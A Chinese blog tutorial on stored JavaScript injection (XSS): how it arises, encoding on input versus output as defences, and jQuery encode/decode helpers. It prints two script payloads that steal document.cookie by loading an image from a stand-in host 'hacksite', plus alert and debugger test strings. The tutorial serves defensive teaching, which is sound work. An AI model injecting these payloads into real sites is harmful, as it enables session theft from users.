JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
jQuery 源码分析笔记(3) Deferred机制
Jun 19 Javascript
js/jquery判断浏览器的方法小结
Sep 02 Javascript
jQuery调取jSon数据并展示的方法
Jan 29 Javascript
jquery插件之文字间歇自动向上滚动效果代码
Feb 25 Javascript
js获取时间精确到秒(年月日)
Mar 16 Javascript
第十章之巨幕页头缩略图与警告框组件
Apr 25 Javascript
AngularJS使用ng-Cloak阻止初始化闪烁问题的方法
Nov 03 Javascript
bootstrap switch开关组件使用方法详解
Aug 22 Javascript
在react-router4中进行代码拆分的方法(基于webpack)
Mar 08 Javascript
vue单页面应用打开新窗口显示跳转页面的实例
Sep 21 Javascript
详解vue 自定义组件使用v-model 及探究其中原理
Oct 11 Javascript
element-ui如何防止重复提交的方法步骤
Dec 09 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
针对初学PHP者的疑难问答(1)
2006/10/09 PHP
队列在编程中的实际应用(php)
2010/09/04 PHP
探讨PHP JSON中文乱码的解决方法详解
2013/06/06 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(九)
2014/06/24 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(十一)
2014/06/25 PHP
PHP通过加锁实现并发情况下抢码功能
2016/08/10 PHP
JavaScript 的继承
2011/10/01 Javascript
Jquery实现带动画效果的经典二级导航菜单
2013/03/22 Javascript
Js实现网页键盘控制翻页的方法
2014/10/30 Javascript
ANGULARJS中用NG-BIND指令实现单向绑定的例子
2014/12/08 Javascript
Javascript基础教程之break和continue语句
2015/01/18 Javascript
javascript解析xml实现省市县三级联动的方法
2015/07/25 Javascript
Nodejs初级阶段之express
2015/11/23 NodeJs
jQuery UI结合Ajax创建可定制的Web界面
2016/06/22 Javascript
JS中的数组方法笔记整理
2016/07/26 Javascript
AngularJS基础 ng-init 指令简单示例
2016/08/02 Javascript
深入理解jquery中extend的实现
2016/12/22 Javascript
全面总结Javascript对数组对象的各种操作
2017/01/22 Javascript
字太多用...代替的方法(两种)
2017/03/15 Javascript
Angular使用$http.jsonp发送跨站请求的方法
2017/03/16 Javascript
详解RequireJs官方使用教程
2017/10/31 Javascript
微信小程序tabBar 返回tabBar不刷新页面
2019/07/25 Javascript
Postman环境变量全局变量使用方法详解
2020/08/13 Javascript
SpringBoot+Vue 前后端合并部署的配置方法
2020/12/30 Vue.js
[01:07:11]Secret vs Newbee 2019国际邀请赛小组赛 BO2 第二场 8.15
2019/08/17 DOTA
python中pylint使用方法(pylint代码检查)
2018/04/06 Python
Python 实现某个功能每隔一段时间被执行一次的功能方法
2018/10/14 Python
python 上下文管理器及自定义原理解析
2019/11/19 Python
澳大利亚礼品卡商店:Gift Card Store
2019/06/24 全球购物
新西兰优惠网站:Treat Me
2019/07/04 全球购物
房地产还款计划书
2014/01/10 职场文书
党员目标管理责任书
2014/07/25 职场文书
党的群众路线教育实践活动个人对照检查材料(公安)
2014/11/05 职场文书
小学老师对学生的评语
2014/12/29 职场文书
辞职信格式模板
2015/02/27 职场文书
一次项目中Thinkphp绕过禁用函数的实战记录
2021/11/17 PHP